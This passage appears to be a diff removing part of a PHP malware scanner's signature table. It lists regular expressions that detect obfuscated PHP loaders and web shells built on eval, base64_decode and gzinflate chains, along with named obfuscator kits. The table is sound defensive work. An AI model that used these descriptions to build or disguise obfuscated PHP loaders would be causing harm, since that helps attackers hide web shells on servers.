- 'id' => 'evalIReplace',
- ),
- array(
- 'full' => '~error_reporting\(0\);ini_set\("display_errors",\s*0\);if\(!defined\(\'(\w+)\'\)\){define\(\'\1\',__FILE__\);if\(!function_exists\("([^"]+)"\)\){function [^(]+\([^\)]+\).+?eval\(""\);.+?;eval\(\$[^\)]+\)\);[^\)]+\)+;return\s*\$[^;]+;\s*\?>([^;]+);~msi',
- 'fast' => '~error_reporting\(0\);ini_set\("display_errors",\s*0\);if\(!defined\(\'(\w+)\'\)\){define\(\'\1\',__FILE__\);if\(!function_exists\("([^"]+)"\)\){function [^(]+\([^\)]+\).+?eval\(""\);.+?;eval\(\$[^\)]+\)\);[^\)]+\)+;return\s*\$[^;]+;\s*\?>([^;]+);~msi',
- 'id' => 'PHPJiaMi',
- ),
- array(
- 'full' => '~\$\w+=0;(\$GLOBALS\[\'\w+\'\])\s*=\s*\'([^\']+)\';\s*(\$\w+)=pack\(\'H\*\',substr\(\1,\s*([-\d]+)\)\);if\s*\(!function_exists\(\'(\w+)\'\)\){function\s*\5\(\$\w+,\s*\$\w+\){\$\w+=\1;\s*\$d=pack\(\'H\*\',substr\(\1,\s*\4\)\);\s*return\s*\$\w+\(substr\(\$\w+,\s*\$\w+,\s*\$\w+\)\);}};eval\(\3\(\'[^\']+\'\)\);~msi',
- 'fast' => '~\$\w+=0;(\$GLOBALS\[\'\w+\'\])\s*=\s*\'([^\']+)\';\s*(\$\w+)=pack\(\'H\*\',substr\(\1,\s*([-\d]+)\)\);if\s*\(!function_exists\(\'(\w+)\'\)\){function\s*\5\(\$\w+,\s*\$\w+\){\$\w+=\1;\s*\$d=pack\(\'H\*\',substr\(\1,\s*\4\)\);\s*return\s*\$\w+\(substr\(\$\w+,\s*\$\w+,\s*\$\w+\)\);}};eval\(\3\(\'[^\']+\'\)\);~msi',
- 'id' => 'substr',
- ),
- array(
- 'full' => '~(function\s*(\w+)\((\$\w+)\){\s*return\s*(base64_decode|gzinflate|eval)\(\$\w+(,\d+)?\);}\s*)+(\$\w+)="([^"]+)";(\w+\()+\6\)+~msi',
- 'fast' => '~(function\s*(\w+)\((\$\w+)\){\s*return\s*(base64_decode|gzinflate|eval)\(\$\w+(,\d+)?\);}\s*)+(\$\w+)="([^"]+)";(\w+\()+\6\)+~msi',
- 'id' => 'funcs',
- ),
- array(
- 'full' => '~\$_F=__FILE__;\$_X=["\']([^\'"]+)[\'"];\s*(?:\$[_\w]+\.=[\'"][\w\+\/=]+[\'"];){0,30}\$_\w+=base64_decode\(\$_X\);\$_X=strtr\(\$_X,\'([^\']+)\',\'([^\']+)\'\);\$_R=@?(?:(str_replace)|(ereg_replace)|(preg_replace))\(\'\~?__FILE__\~?\',"\'".\$_F."\'",\$_X\);eval\(\$_R\);\$_R=0;\$_X=0;~msi',
- 'fast' => '~\$_F=__FILE__;\$_X=["\']([^\'"]+)[\'"];\s*(?:\$[_\w]+\.=[\'"][\w\+\/=]+[\'"];){0,30}\$_\w+=base64_decode\(\$_X\);\$_X=strtr\(\$_X,\'([^\']+)\',\'([^\']+)\'\);\$_R=@?(?:(str_replace)|(ereg_replace)|(preg_replace))\(\'\~?__FILE__\~?\',"\'".\$_F."\'",\$_X\);eval\(\$_R\);\$_R=0;\$_X=0;~msi',
- 'id' => 'LockIt2',
- ),
- array(
- 'full' => '~(?:@error_reporting\(\d+\);\s*@set_time_limit\(\d+\);)?\s*(\$\w+)=([\s\'\w\/+=]+);\s*(\$\w+)=(__FILE__);\s*\1=gzinflate\(str_rot13\(base64_decode\(\$tr\)\)\);\1=strtr\(\1,\'([^\']+)\'\s*,\'([^\']+)\'\);(\$_R)=@?ereg_replace\(\'\~?\4\~?\',"\'".\3."\'",\1\);eval\(\7\);\7=0;\1=0;~msi',
- 'fast' => '~(\$\w+)=([\s\'\w\/+=]+);\s*(\$\w+)=(__FILE__);\s*\1=\w+\(\w+\(\w+\(\$tr\)\)\);\1=\w+\(\1,\'([^\']+)\'\s*,\'([^\']+)\'\);(\$_R)=@?\w+\(\'\~?\4\~?\',"\'".\3."\'",\1\);\w+\(\7\);\7=0;\1=0;~msi',
- 'id' => 'anaski',
- ),
- array(
- 'full' => '~\$\w+="[^"]+";\$l+=0;\$l+=\'base64_decode\';\$l+=0;eval\(.+?;eval\(\$l+\);return;~msi',
- 'fast' => '~\$\w+="[^"]+";\$l+=0;\$l+=\'base64_decode\';\$l+=0;eval\(.+?;eval\(\$l+\);return;~msi',
- 'id' => 'custom1',
- ),
- array(
- 'full' => '~(\$\w+)\s*=\s*"(\w{32})";\s*(\$\w+)\s*=\s*array\s*\(\);\s*(\3\[\d+\]\s*=\s*"[^"]+";\s*)+\s*(\$\w+)\s*=\s*"base64_decode";\s*\$\w+\s*=\s*(\w+)\s*\(\3,\1\);function\s*\6\(\s*.{200,500}return\s*\$\w+;\s*}\s*eval\s*\(\5\s*\(\$\w+\)\);~msi',
- 'fast' => '~(\$\w+)\s*=\s*"(\w{32})";\s*(\$\w+)\s*=\s*array\s*\(\);\s*(\3\[\d+\]\s*=\s*"[^"]+";\s*)+\s*(\$\w+)\s*=\s*"base64_decode";\s*\$\w+\s*=\s*(\w+)\s*\(\3,\1\);function\s*\6\(\s*.{200,500}return\s*\$\w+;\s*}\s*eval\s*\(\5\s*\(\$\w+\)\);~msi',
- 'id' => 'custom2',
- ),
- array(
- 'full' => '~\$\w+=\'=+\s*Obfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator\s*(?:http://www\.ud64\.com/)?\s*=+\';\s*(\$ud64_c[o0]m="[\\\\0-9a-z\."]+;)+\$\w+=(\$ud64_c[o0]m\()+"([^"]+)"\)+;@eval\(\$ud64_c[o0]m\(\'[^\']+\'\)+;~msi',
- 'fast' => '~\$\w+=\'=+\s*Obfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator\s*(?:http://www\.ud64\.com/)?\s*=+\';\s*(\$ud64_c[o0]m="[\\\\0-9a-z\."]+;)+\$\w+=(\$ud64_c[o0]m\()+"([^"]+)"\)+;@eval\(\$ud64_c[o0]m\(\'[^\']+\'\)+;~msi',
- 'id' => 'ud64',
- ),
- array(
- 'full' => '~(\$[\w_]+=("[\\\\\\\\\w]+"\.?)+;)+\$\w+=(?:\$\w+\()+"([\w\/\+]+)"\)+;@eval\(\$\w+\(\'.*?\'\)+;~msi',
- 'fast' => '~(\$[\w_]+=("[\\\\\\\\\w]+"\.?)+;)+\$\w+=(?:\$\w+\()+"([\w\/\+]+)"\)+;@eval\(\$\w+\(\'.*?\'\)+;~msi',
- 'id' => 'ud64',
- ),
- array(
- 'full' => '~\$\w+=__FILE__;\$\w+=fopen\(\$\w+,\'rb\'\);fread\(\$\w+,(\d+)\);\$\w+=explode\("\\\\t",base64_decode\(fread\(\$\w+,(\d+)\)+;\$\w+=\$\w+\[[\d+]\];[\$l1=\d{}\.;\(\)\[\]]+eval\(\$\w+\(\'[^\']+\'\)+;\s*return\s*;\?>[\w=\+]+~msi',
- 'fast' => '~\$\w+=__FILE__;\$\w+=fopen\(\$\w+,\'rb\'\);fread\(\$\w+,(\d+)\);\$\w+=explode\("\\\\t",base64_decode\(fread\(\$\w+,(\d+)\)+;\$\w+=\$\w+\[[\d+]\];[\$l1=\d{}\.;\(\)\[\]]+eval\(\$\w+\(\'[^\']+\'\)+;\s*return\s*;\?>[\w=\+]+~msi',
- 'id' => 'qibosoft',
- ),
- array(
- 'full' => '~(\$\w+)=base64_decode\("([^"]+)"\);\s*eval\("return\s*eval\(\\\\"\1\\\\"\);"\)~msi',
- 'fast' => '~(\$\w+)=base64_decode\("([^"]+)"\);\s*eval\("return\s*eval\(\\\\"\1\\\\"\);"\)~msi',
- 'id' => 'evalReturn',
- ),
- array(
- 'full' => '~(?:\$[0O]+\[[\'"](\w+)[\'"]\]\.?="[\\\\\w]+";)+(?:\$[0O]+\[[\'"]\w+[\'"]\]\.?=\$[0O]+\[[\'"]\w+[\'"]\]\([\'"][\d\(]+[\'"](,__FILE__)?\);)+@eval\((?:\$[0O]+\[[\'"]\w+[\'"]\]\()+"([^"]+)"\)+;~mis',
- 'fast' => '~(?:\$[0O]+\[[\'"](\w+)[\'"]\]\.?="[\\\\\w]+";)+(?:\$[0O]+\[[\'"]\w+[\'"]\]\.?=\$[0O]+\[[\'"]\w+[\'"]\]\([\'"][\d\(]+[\'"](,__FILE__)?\);)+@eval\((?:\$[0O]+\[[\'"]\w+[\'"]\]\()+"([^"]+)"\)+;~mis',
- 'id' => 'evalChars',
- ),
- array(
- 'full' => '~<\?php\s+((\$GLOBALS\[\s*[\'"]\w+[\'"]\s*\])\s*=\s*base64_decode\("([^"]*)"\);)+\s*\?><\?php\s.+\2.+exit;\s}\sfunction\s\w+\(\)\s{\sreturn\sarray\(\s\'favicon\'\s=>\s\'[^\']+\',\s+\'sprites\'\s=>\s\'[^\']+\',\s\);\s}~msi',
- 'fast' => '~<\?php\s+((\$GLOBALS\[\s*[\'"]\w+[\'"]\s*\])\s*=\s*base64_decode\("([^"]*)"\);)+\s*\?><\?php\s.+\2.+exit;\s}\sfunction\s\w+\(\)\s{\sreturn\sarray\(\s\'favicon\'\s=>\s\'[^\']+\',\s+\'sprites\'\s=>\s\'[^\']+\',\s\);\s}~msi',
- 'id' => 'globalsBase64',
- ),
- array(
- 'full' => '~(\$\w+=(\w+)\(\'\d+\'\);\s*)+\$\w+=new\s\$\w+\(\2\(\'(\d+)\'\)+;error_reporting\(0\);eval\(\$\w+\(\$\w+->\$\w+\("[^"]+"\)+;.+?function \2.+?return\s\$\w+;\s}~msi',
- 'fast' => '~(\$\w+=(\w+)\(\'\d+\'\);\s*)+\$\w+=new\s\$\w+\(\2\(\'(\d+)\'\)+;error_reporting\(0\);eval\(\$\w+\(\$\w+->\$\w+\("[^"]+"\)+;.+?function \2.+?return\s\$\w+;\s}~msi',
- 'id' => 'aanKFM',
- ),
- array(
- 'full' => '~(\$\w+=strrev\("[^"]+"\);)+eval\((\$\w+\()+"[^"]+"\)+;~mis',
- 'fast' => '~(\$\w+=strrev\("[^"]+"\);)+eval\((\$\w+\()+"[^"]+"\)+;~mis',
- 'id' => 'strrevVarEval',
- ),
- array(
- 'full' => '~\$\w+=basename/\*\w+\*/\(/\*\w+\*/trim/\*\w+\*/\(.+?(\$\w+)=.+\1.+?;~msi',
- 'fast' => '~\$\w+=basename/\*\w+\*/\(/\*\w+\*/trim/\*\w+\*/\(.+?(\$\w+)=.+\1.+?;~msi',
- 'id' => 'comments',
- ),
- array(
- 'full' => '~(\$\w+)\s*=\s*(base64_decode\s*\(+|gzinflate\s*\(+|strrev\s*\(+|str_rot13\s*\(+|gzuncompress\s*\(+|convert_uudecode\s*\(+|urldecode\s*\(+|rawurldecode\s*\(+|htmlspecialchars_decode\s*\(+)+"([^"]+)"\)+;\s*@?eval\(([\'"?>.\s]+)?\1\);~',
- 'fast' => '~(\$\w+)\s*=\s*(base64_decode\s*\(+|gzinflate\s*\(+|strrev\s*\(+|str_rot13\s*\(+|gzuncompress\s*\(+|convert_uudecode\s*\(+|urldecode\s*\(+|rawurldecode\s*\(+|htmlspecialchars_decode\s*\(+)+"([^"]+)"\)+;\s*@?eval\(([\'"?>.\s]+)?\1\);~',
- 'id' => 'varFuncsEval',
- ),
- array(
- 'full' => '~((\$\w+)="";\$\w+\s*\.=\s*"[^;]+;\s*)+(?:="";)?eval\((\s*\$\w+\s*\.)+\s*"[^"]+(?:"\);)+~msi',
- 'fast' => '~((\$\w+)="";\$\w+\s*\.=\s*"[^;]+;\s*)+(?:="";)?eval\((\s*\$\w+\s*\.)+\s*"[^"]+(?:"\);)+~msi',
- 'id' => 'evalConcatVars',
- ),
- array(
- 'full' => '~<\?php\s*defined\(\'[^\']+\'\)\s*\|\|\s*define\(\'[^\']+\',__FILE__\);(global\s*\$[^;]+;)+\s*(if\(!function_exists\(\'([^\']+)\'\)\){\s*function\s*[^\)]+\(\$[^,]+,\$[^=]+=\'\'\){\s*if\(empty\(\$[^\)]+\)\)\s*return\s*\'\';\s*\$[^=]+=base64_decode\(\$[^\)]+\);\s*if\(\$[^=]+==\'\'\)\s*return\s*\~\$[^;]+;\s*if\(\$[^=]+==\'-1\'\)\s*@[^\(]+\(\);\s*\$[^=]+=\$GLOBALS\[\'[^\']+\'\]\[\'[^\']+\'\]\(\$[^\)]+\);\s*\$[^=]+=\$GLOBALS\[\'[^\']+\'\]\[\'[^\']+\'\]\(\$[^,]+,\$[^,]+,\$[^\)]+\);\s*return\s*\$[^^]+\^\$[^;]+;\s*}}\s*)+(\$[^\[]+\["[^"]+"]=[^\(]+\(\'[^\']+\',\'[^\']*\'\);\s*)+(\$[^\[]+\[\'[^\']+\'\]=\$GLOBALS\[\'[^\']+\'\]\[\'[^\']+\'\]\([^\)]*\)+;\s*)+return\(eval\(\$[^\[]+\[\'[^\']+\'\]\)+;\s*\?>\s*#!/usr/bin/php\s*-q\s*(\s*[^\s]+)+~msi',
- 'fast' => '~<\?php\s*defined\(\'[^\']{10,30}\'\)\s*\|\|\s*define\(\'[^\']{10,30}\',__FILE__\);(global\s*\$[^;]{10,30};)+\s*if\(!function_exists\(\'([^\']+)\'\)\){\s*function\s*[^\)]+\(\$[^,]{10,30},\$[^=]{10,30}=\'\'\){\s*if\(empty\(\$[^\)]+\)\)\s*return\s*\'\';\s*\$[^=]{10,30}=base64_decode~msi',
- 'id' => 'OELove',
- ),
- array(
- 'full' => '~\$\w+\s*=(\s*(\d+)\+)+\d+;(\$\w+="[^"]+";)+(\$\w+)\s*=\s*\w+\(\'[^\']+\',\s*\$\w+,\s*\'[^\']+\'\);.+\4\("[^"]+"\);\$\w+\s*=\s*\4;(\$\w+="[^"]+";)+.+\$\w+\(\$\w+,\$\w+\("",\s*\$\w+\(\$\w+\(\$\w+\(\$\w+\(\$\w+,\s*"(\d+)"\)+,\$\w+\);.+function \w+\((\$\w+),\s*\$\w+,\s(\$\w+)\)\s{\8\s=\s\8\s\.\s\8;.+return \7;}~msi',
- 'fast' => '~\$\w+\s*=(\s*(\d+)\+)+\d+;(\$\w+="[^"]+";)+(\$\w+)\s*=\s*\w+\(\'[^\']+\',\s*\$\w+,\s*\'[^\']+\'\);.+\4\("[^"]+"\);\$\w+\s*=\s*\4;(\$\w+="[^"]+";)+~msi',
- 'id' => 'Obf_20200402_1',
- ),
- array(
- 'full' => '~(?:\$\w+\s*=\s*"[^"]+";\s*)?function\s(\w+)\((\$\w+),\s*(\$\w+),\s*(\$\w+)\){\s*return\s*([\'\.]*(\2|\3|\4)[\'\.]*)+;\s*}\s*(?:\$\w+\s*=\s*"[^"]+";)?(\s*\$\w+\s*=\s*\1\((((\'\')|(\$\w+)|(\$\w+[\[\{]\d+[\]\}](\.\'\')?)|(\$\w+[\[\{]\d+[\]\}]\.\$\w+[\[\{]\d+[\]\}]))\s*,?\s*)+\);\s*)+\s*\$\w+\s*=\s*\1[^"]+"\'([^\']+)\'".+?array\(\'\',\'}\'.\$\w+\.\'//\'\)\);~msi',
- 'fast' => '~function\s(\w+)\((\$\w+),\s*(\$\w+),\s*(\$\w+)\){\s*return\s*([\'\.]*(\2|\3|\4)[\'\.]*)+;\s*}\s*(?:\$\w+\s*=\s*"[^"]+";)?(\s*\$\w+\s*=\s*\1\((((\'\')|(\$\w+)|(\$\w+[\[\{]\d+[\]\}](\.\'\')?)|(\$\w+[\[\{]\d+[\]\}]\.\$\w+[\[\{]\d+[\]\}]))\s*,?\s*)+\);\s*)+\s*\$\w+\s*=\s*\1[^"]+"\'([^\']+)\'".+?array\(\'\',\'}\'.\$\w+\.\'//\'\)\);~msi',
- 'id' => 'Obf_20200402_2',
- ),
- array(
- 'full' => '~function\s*(\w+)\((\$\w+),\s*(\$\w+)\)\s*\{\s*\3\s*=\s*md5\(\3\);\s*\$\w+\s*=\s*\d+;\s*\2\s*=\s*base64_decode\(\2\);\s*\$\w+\s*=\s*strlen\(\2\);\s*\$\w+\s*=\s*strlen\(\3\);\s*\$\w+\s*=\s*\'\';\s*for\s*\(\$\w+\s*=\s\d+;\s*\$\w+\s*<\s*\$len;\s*\$\w+\+\+\)\s*\{\s*if\s*\(\$\w+\s*==\s*\$\w+\)\s*\{\s*\$\w+\s*=\s*\d+;\s*}\s*\$\w+\s*\.=\s*substr\(\3,\s*\$\w+,\s*\d+\);\s*\$\w+\+\+;\s*\}\s*\$\w+\s*=\s*\'\';\s*for\s*\(\$\w+\s*=\s*\d+;\s*\$\w+\s*<\s*\$\w+;\s*\$\w+\+\+\)\s*{\s*if\s*\(ord\(substr\(\2,\s*\$\w+,\s*\d+\)\)\s*<\s*ord\(substr\(\$\w+,\s*\$\w+,\s*\d+\)\)\)\s*\{\s*\$\w+\s*\.=\s*chr\(\(ord\(substr\(\2,\s*\$\w+,\s*\d+\)\)\s*\+\s*\d+\)\s*-\s*ord\(substr\(\$\w+,\s*\$\w+,\s*\d+\)\)\);\s*}\s*else\s*{\s*\$\w+\s*\.=\s*chr\(ord\(substr\(\2,\s*\$\w+,\s*\d+\)\)\s*-\s*ord\(substr\(\$\w+,\s*\$\w+,\s*\d+\)\)\);\s*}\s*}\s*return\s*\$\w+;\s*\}\s*\2\s*=\s*"[^"]+";\s*\3\s*=\s*"[^"]+";\s*(\$\w+)\s*=\s*\1\(\2,\s*\3\);\s*eval\(\4\);~msi',
- 'fast' => '~function\s*(\w+)\((\$\w+),\s*(\$\w+)\)\s*\{\s*\3\s*=\s*md5\(\3\);\s*\$\w+\s*=\s*\d+;\s*\2\s*=\s*base64_decode\(\2\);\s*\$\w+\s*=\s*strlen\(\2\);\s*\$\w+\s*=\s*strlen\(\3\);\s*\$\w+\s*=\s*\'\';\s*for\s*\(\$\w+\s*=\s\d+;\s*\$\w+\s*<\s*\$len;\s*\$\w+\+\+\)\s*\{\s*if\s*\(\$\w+\s*==\s*\$\w+\)\s*\{\s*\$\w+\s*=\s*\d+;\s*}\s*\$\w+\s*\.=\s*substr\(\3,\s*\$\w+,\s*\d+\);\s*\$\w+\+\+;\s*\}\s*\$\w+\s*=\s*\'\';\s*for\s*\(\$\w+\s*=\s*\d+;\s*\$\w+\s*<\s*\$\w+;\s*\$\w+\+\+\)\s*{\s*if\s*\(ord\(substr\(\2,\s*\$\w+,\s*\d+\)\)\s*<\s*ord\(substr\(\$\w+,\s*\$\w+,\s*\d+\)\)\)\s*\{\s*\$\w+\s*\.=\s*chr\(\(ord\(substr\(\2,\s*\$\w+,\s*\d+\)\)\s*\+\s*\d+\)\s*-\s*ord\(substr\(\$\w+,\s*\$\w+,\s*\d+\)\)\);\s*}\s*else\s*{\s*\$\w+\s*\.=\s*chr\(ord\(substr\(\2,\s*\$\w+,\s*\d+\)\)\s*-\s*ord\(substr\(\$\w+,\s*\$\w+,\s*\d+\)\)\);\s*}\s*}\s*return\s*\$\w+;\s*\}\s*\2\s*=\s*"[^"]+";\s*\3\s*=\s*"[^"]+";\s*(\$\w+)\s*=\s*\1\(\2,\s*\3\);\s*eval\(\4\);~msi',
- 'id' => 'Obf_20200414_1',
- ),
- array(
- 'full' => '~(?:\$\w+\s*=\s*\'\w+\';)?\s*(\$\w+)\s*=\s*urldecode\(\'[%0-9a-f]+\'\);(\s*(\$\w+)\s*=(\s*\1\{\d+\}\.?)+;)+\s*(\$\w+)\s*=\s*"[^"]+"\.\3\("[^"]+"\);\s*eval\(\5\);~msi',
- 'fast' => '~(\$\w+)\s*=\s*urldecode\(\'[%0-9a-f]+\'\);(\s*(\$\w+)\s*=(\s*\1\{\d+\}\.?)+;)+\s*(\$\w+)\s*=\s*"[^"]+"\.\3\("[^"]+"\);\s*eval\(\5\);~msi',
- 'id' => 'Obf_20200421_1',
- ),
- array(
- 'full' => '~(\$\w+)=\'([^\']+)\';(\$\w+)=str_rot13\(gzinflate\(str_rot13\(base64_decode\(\1\)\)\)\);eval\(\3\);~msi',
- 'fast' => '~(\$\w+)=\'([^\']+)\';(\$\w+)=str_rot13\(gzinflate\(str_rot13\(base64_decode\(\1\)\)\)\);eval\(\3\);~msi',
- 'id' => 'SmartToolsShop',
- ),
- array(
- 'full' => '~(\$\w+)\s*=\s*\("\?>"\.gzuncompress\(base64_decode\("[^"]+"\)\)\);\s*@?eval\(\1\);~msi',
- 'fast' => '~(\$\w+)\s*=\s*\("\?>"\.gzuncompress\(base64_decode\("[^"]+"\)\)\);\s*@?eval\(\1\);~msi',
- 'id' => 'Obf_20200504_1',
- ),
- array(
- 'full' => '~(\$\w+)=base64_decode\(\'[^\']+\'\);\s*eval\(\1\);~mis',
- 'fast' => '~(\$\w+)=base64_decode\(\'[^\']+\'\);\s*eval\(\1\);~mis',
- 'id' => 'Obf_20200507_1',
- ),
- array(
- 'full' => '~@error_reporting\(0\);\s*@ini_set\(\'error_log\',NULL\);\s*@ini_set\(\'log_errors\',0\);\s*@ini_set\(\'display_errors\',\s*0\);\s*@(\$\w+)="[create_function"\.]+;\s*(\$\w+)=\1\("([^"]+)","[eval\."]+\(\'\?>\'\.[base64_decode"\.]+\(\3\)\);"\);\s*\2\("([^"]+)"\);exit;~msi',
- 'fast' => '~@error_reporting\(0\);\s*@ini_set\(\'error_log\',NULL\);\s*@ini_set\(\'log_errors\',0\);\s*@ini_set\(\'display_errors\',\s*0\);\s*@(\$\w+)="[create_function"\.]+;\s*(\$\w+)=\1\("([^"]+)","[eval\."]+\(\'\?>\'\.[base64_decode"\.]+\(\3\)\);"\);\s*\2\("([^"]+)"\);exit;~msi',
- 'id' => 'Obf_20200507_2',
- ),
- array(
- 'full' => '~@error_reporting\(0\);\s*@ini_set\(\'error_log\',NULL\);\s*@ini_set\(\'log_errors\',0\);\s*@ini_set\(\'output_buffering\',\s*0\);\s*@ini_set\(\'display_errors\',\s*0\);\s*\$\w+="(An0n_3xPloiTeR)";\$UeXploiT="([^"]+)";\$\1="([^"]+)";exit;~msi',
- 'fast' => '~@error_reporting\(0\);\s*@ini_set\(\'error_log\',NULL\);\s*@ini_set\(\'log_errors\',0\);\s*@ini_set\(\'output_buffering\',\s*0\);\s*@ini_set\(\'display_errors\',\s*0\);\s*\$\w+="(An0n_3xPloiTeR)";\$UeXploiT="([^"]+)";\$\1="([^"]+)";exit;~msi',
- 'id' => 'Obf_20200507_3',
- ),
- array(
- 'full' => '~(?:error_reporting\(0\);\s*ini_set\("max_execution_time",0\);\s*(?:/\*.*?\*/)?\s*)?(\$\w+)=\s*\[(("."=>".",?\s*)+)];\s*(\$\w+)=str_split\("([^"]+)"\);\s*(?:\$\w+="";)?\s*foreach\(\4\s*as\s*(\$\w+)\)\s*{\s*foreach\(\s*\1\s*as\s*(\$\w+)=>(\$\w+)\)\s*{\s*if\(\6==\(string\)\8\)\s*\{\s*\$\w+\.=\7;\s*break;\s*}\s*}\s*}~msi',
- 'fast' => '~(\$\w+)=\s*\[(("."=>".",?\s*)+)];\s*(\$\w+)=str_split\("([^"]+)"\);\s*(?:\$\w+="";)?\s*foreach\(\4\s*as\s*(\$\w+)\)\s*{\s*foreach\(\s*\1\s*as\s*(\$\w+)=>(\$\w+)\)\s*{\s*if\(\6==\(string\)\8\)\s*\{\s*\$\w+\.=\7;\s*break;\s*}\s*}\s*}~msi',
- 'id' => 'Obf_20200507_4',
- ),
- array(
- 'full' => '~assert\("[eval"\.]+\([base64_decode\."]+\(\'([^\']+)\'\)\)"\);~msi',
- 'fast' => '~assert\("[eval"\.]+\([base64_decode\."]+\(\'([^\']+)\'\)\)"\);~msi',
- 'id' => 'Obf_20200507_5',
- ),
- array(
- 'full' => '~parse_str\(\'([^\']+)\',(\$\w+)\);(\2\[\d+\]\()+\'[^\']+\'\),array\(\),array\(\'[^\']+\'\.(\2\[\d+\]\()+\'([^\']+)\'\)+\.\'//\'\)+;~msi',
- 'fast' => '~parse_str\(\'([^\']+)\',(\$\w+)\);(\2\[\d+\]\()+\'[^\']+\'\),array\(\),array\(\'[^\']+\'\.(\2\[\d+\]\()+\'([^\']+)\'\)+\.\'//\'\)+;~msi',
- 'id' => 'Obf_20200513_1',
- ),
- array(
- 'full' => '~function\s*(\w+)\((\$\w+)\)\{\2=substr\(\2,\(int\)\(hex2bin\(\'([0-9a-f]+)\'\)\)\);\2=substr\(\2,\(int\)\(hex2bin\(\'([0-9a-f]+)\'\)\),\(int\)\(hex2bin\(\'([0-9a-f]+)\'\)\)\);return\s*\2;\}(\$\w+)=\'[^\']+\';(\$\w+)=\'base64_decode\';function\s*\w+\((\$\w+)\)\{global\s*\6;global\s*\7;return\s*strrev\(gzinflate\(\7\(\1\(\8\)\)\)\);\}([^\']+)\'\)+~msi',
- 'fast' => '~function\s*(\w+)\((\$\w+)\)\{\2=substr\(\2,\(int\)\(hex2bin\(\'([0-9a-f]+)\'\)\)\);\2=substr\(\2,\(int\)\(hex2bin\(\'([0-9a-f]+)\'\)\),\(int\)\(hex2bin\(\'([0-9a-f]+)\'\)\)\);return\s*\2;\}(\$\w+)=\'[^\']+\';(\$\w+)=\'base64_decode\';function\s*\w+\((\$\w+)\)\{global\s*\6;global\s*\7;return\s*strrev\(gzinflate\(\7\(\1\(\8\)\)\)\);\}([^\']+)\'\)+~msi',
- 'id' => 'Obf_20200522_1',
- ),
- array(
- 'full' => '~(\$\w+)=strrev\("[base64_decode"\.]+\);eval\(\1\(\'([^\']+)\'\)\);~msi',
- 'fast' => '~(\$\w+)=strrev\("[base64_decode"\.]+\);eval\(\1\(\'([^\']+)\'\)\);~msi',
- 'id' => 'Obf_20200526_1',
- ),
- array(
- 'full' => '~error_reporting\(0\);define\(\'\w+\',\s*__FILE__\);define\(\'\w+\',\s*fopen\(__FILE__,\s*\'r\'\)\);fseek\(\w+,\s*__COMPILER_HALT_OFFSET__\);((\$\w+="\\\\x[0-9a-f]+";)+(\$\w+="[^"]+";)+eval\("\?>"\.(\$\w+\()+"([^"]+)"\)+;)+(?:/\*\w+\*/)?__halt_compiler\(\);[\w#|>^%\[\.\]\\\\/=]+~msi',
- 'fast' => '~error_reporting\(0\);define\(\'\w+\',\s*__FILE__\);define\(\'\w+\',\s*fopen\(__FILE__,\s*\'r\'\)\);fseek\(\w+,\s*__COMPILER_HALT_OFFSET__\);((\$\w+="\\\\x[0-9a-f]+";)+(\$\w+="[^"]+";)+eval\("\?>"\.(\$\w+\()+"([^"]+)"\)+;)+(?:/\*\w+\*/)?__halt_compiler\(\);[\w#|>^%\[\.\]\\\\/=]+~msi',
- 'id' => 'Obf_20200527_1',
- ),
- array(
- 'full' => '~(\$\w+)=strrev\("[base64_decode]+"\)\.str_replace\(\'(\w+)\',\'\',\'\w+\'\);\s*eval\(\1\(\$\w+\)\);~msi',
- 'fast' => '~(\$\w+)=strrev\("[base64_decode]+"\)\.str_replace\(\'(\w+)\',\'\',\'\w+\'\);\s*eval\(\1\(\$\w+\)\);~msi',
- 'id' => 'Obf_20200602_1',
- ),
- array(
- 'full' => '~(\$\w+)\s*=\s*"([^"]+)";\s*(\$\w+)\s*=\s*base64_decode\(\1\);\s*eval\(\3\);~msi',
- 'fast' => '~(\$\w+)\s*=\s*"([^"]+)";\s*(\$\w+)\s*=\s*base64_decode\(\1\);\s*eval\(\3\);~msi',
- 'id' => 'Obf_20200720_1',
- ),
- array(
- 'full' => '~[\'".]+(\$\w+\s*=\s*[\'"]\w+[\'"];)+(\$\w+=\$\w+[\'.]+\$\w+;)+(\$\w+=(str_rot13|base64_decode|gzinflate)\(\$\w+\);)+eval\(\$\w+\);~msi',
- 'fast' => '~[\'".]+(\$\w+\s*=\s*[\'"]\w+[\'"];)+(\$\w+=\$\w+[\'.]+\$\w+;)+(\$\w+=(str_rot13|base64_decode|gzinflate)\(\$\w+\);)+eval\(\$\w+\);~msi',
- 'id' => 'flamux',
- ),
- array(
- 'full' => '~function\s*(\w+)\(\)\{\s*return\s*"([^"]+)";\s*\}\s*eval\("([^"]+)"\.\1\(\)\."([^"]+)"\);~msi',
- 'fast' => '~function\s*(\w+)\(\)\{\s*return\s*"([^"]+)";\s*\}\s*eval\("([^"]+)"\.\1\(\)\."([^"]+)"\);~msi',
- 'id' => 'bypass',
- ),
- array(
- 'full' => '~(\$\{"[\\\\x47c2153fGLOBALS]+"\}\["[\w\\\\]+"\]="[\w\\\\]+";(\$\w+="\w+";)?){5,}.+\$\{"[\\\\x47c2153fGLOBALS]+"\}\["[\w\\\\]+"\].+}+~msi',
- 'fast' => '~(\$\{"[\\\\x47c2153fGLOBALS]+"\}\["[\w\\\\]+"\]="[\w\\\\]+";(\$\w+="\w+";)?){5,}.+\$\{"[\\\\x47c2153fGLOBALS]+"\}\["[\w\\\\]+"\].+}+~msi',
- 'id' => 'Obf_20200618_1',
- ),
- array(
- 'full' => '~(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+(echo)\s*"(?:[<\w\\\\>\/\s={:}#]+);(?:[\\\\\w\-:]+;)+(?:[\\\\\w}:{\s#]+;)+(?:[\\\\\w}:{#\-\s]+;)+[\\\\\w}<\/]+";\$\w+=["\\\\\w]+;(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+\$\w+=["\\\\\w]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";error_reporting\(\d\);\$\w+=["\\\\\w]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\$\w+=["\\\\\w]+;set_time_limit\(\d\);\$\w+=["\\\\\w]+;(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+(if\(empty\()[\$_\w\["\\\\\]]+\)\){\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\w()]+;(}else{)\${\${"[\w\\\\\